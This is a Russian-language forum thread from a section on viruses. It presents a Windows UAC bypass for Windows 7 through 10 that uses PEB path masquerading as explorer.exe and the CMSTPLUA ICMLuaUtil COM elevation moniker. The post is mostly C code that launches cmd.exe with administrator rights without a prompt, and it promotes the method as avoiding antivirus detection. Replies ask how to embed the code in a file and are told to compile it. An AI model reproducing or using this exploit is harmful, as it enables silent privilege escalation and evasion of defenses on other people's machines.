Загрузка...

Обходим UAC на win7, win8, win8.1, win10

Тема в разделе Вирусология создана пользователем AsUnicode 11 май 2019. 691 просмотр

Загрузка...
  1. AsUnicode
    AsUnicode Автор темы 11 май 2019 Заблокирован(а) 1 8 май 2019
    Cogitations poenam nemo patitur (лат.)
    Никто не несет наказания за мысли


    В данной статье я расскажу вам как обойти UAC на win7, win8, win8.1, win10
    Суть способа заключается в том, что мы подменяем путь к файлу у процесса на путь explorer и берём его токен (токен процесса explorer)
    P.S. У системных файлов есть свои токены которые позваляют запускаться от администратора без окна UAC, это доверенные приложения.

    Почему это работает? Винда проверяет путь к процессу используя его PEB, но так-как мы его подменили она видит C:\Windows\System32\explorer.exe
    и думает что наш процесс это explorer.exe давая ему права админа.

    Этот способ не требует реботы с реестром или файлами и потому не провацирует антивирус.

    Code:
    Код
    typedef interface ICMLuaUtil ICMLuaUtil;

    typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

    HRESULT(STDMETHODCALLTYPE *QueryInterface)(
    __RPC__in ICMLuaUtil * This,
    __RPC__in REFIID riid,
    _COM_Outptr_ void **ppvObject);

    ULONG(STDMETHODCALLTYPE *AddRef)(
    __RPC__in ICMLuaUtil * This);

    ULONG(STDMETHODCALLTYPE *Release)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method1)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method2)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method3)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method4)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method5)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method6)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *ShellExec)(
    __RPC__in ICMLuaUtil * This,
    _In_ LPCTSTR lpFile,
    _In_opt_ LPCTSTR lpParameters,
    _In_opt_ LPCTSTR lpDirectory,
    _In_ ULONG fMask,
    _In_ ULONG nShow
    );

    HRESULT(STDMETHODCALLTYPE *Method8)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method9)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method10)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method11)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method12)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method13)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method14)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method15)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method16)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method17)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method18)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method19)(
    __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method20)(
    __RPC__in ICMLuaUtil * This);

    END_INTERFACE

    } *PICMLuaUtilVtbl;

    interface ICMLuaUtil
    {
    CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
    };

    VOID Method41_Test()
    {
    HRESULT r = E_FAIL;
    BOOL bCond = FALSE;
    IID xIID_ICMLuaUtil;
    CLSID xCLSID_ICMLuaUtil;
    ICMLuaUtil *CMLuaUtil = NULL;

    BIND_OPTS3 bop;
    WCHAR szElevationMoniker[MAX_PATH];

    do {

    if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
    break;
    }
    if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
    break;
    }

    RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));

    _strcpy(szElevationMoniker, L"Elevation:Administrator!new:");
    _strcat(szElevationMoniker, T_CLSID_CMSTPLUA);

    RtlSecureZeroMemory(&bop, sizeof(bop));
    bop.cbStruct = sizeof(bop);
    bop.dwClassContext = CLSCTX_LOCAL_SERVER;

    r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
    if (r != S_OK) {
    break;
    }

    r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);

    } while (bCond);

    if (CMLuaUtil != NULL) {
    CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    }
     
    11 май 2019 Изменено
  2. Ingener_nalad4ik
    Ingener_nalad4ik 24 май 2019 Пьятимегаватный синхронник 42 26 янв 2018
    Это все конечно заманчиво, но как этот код ведрить в файл? Можно ли организовать это через батник?
     
  3. girac
    girac 28 май 2019 5 7 мар 2019
    ага скомпилируй и все
     
Top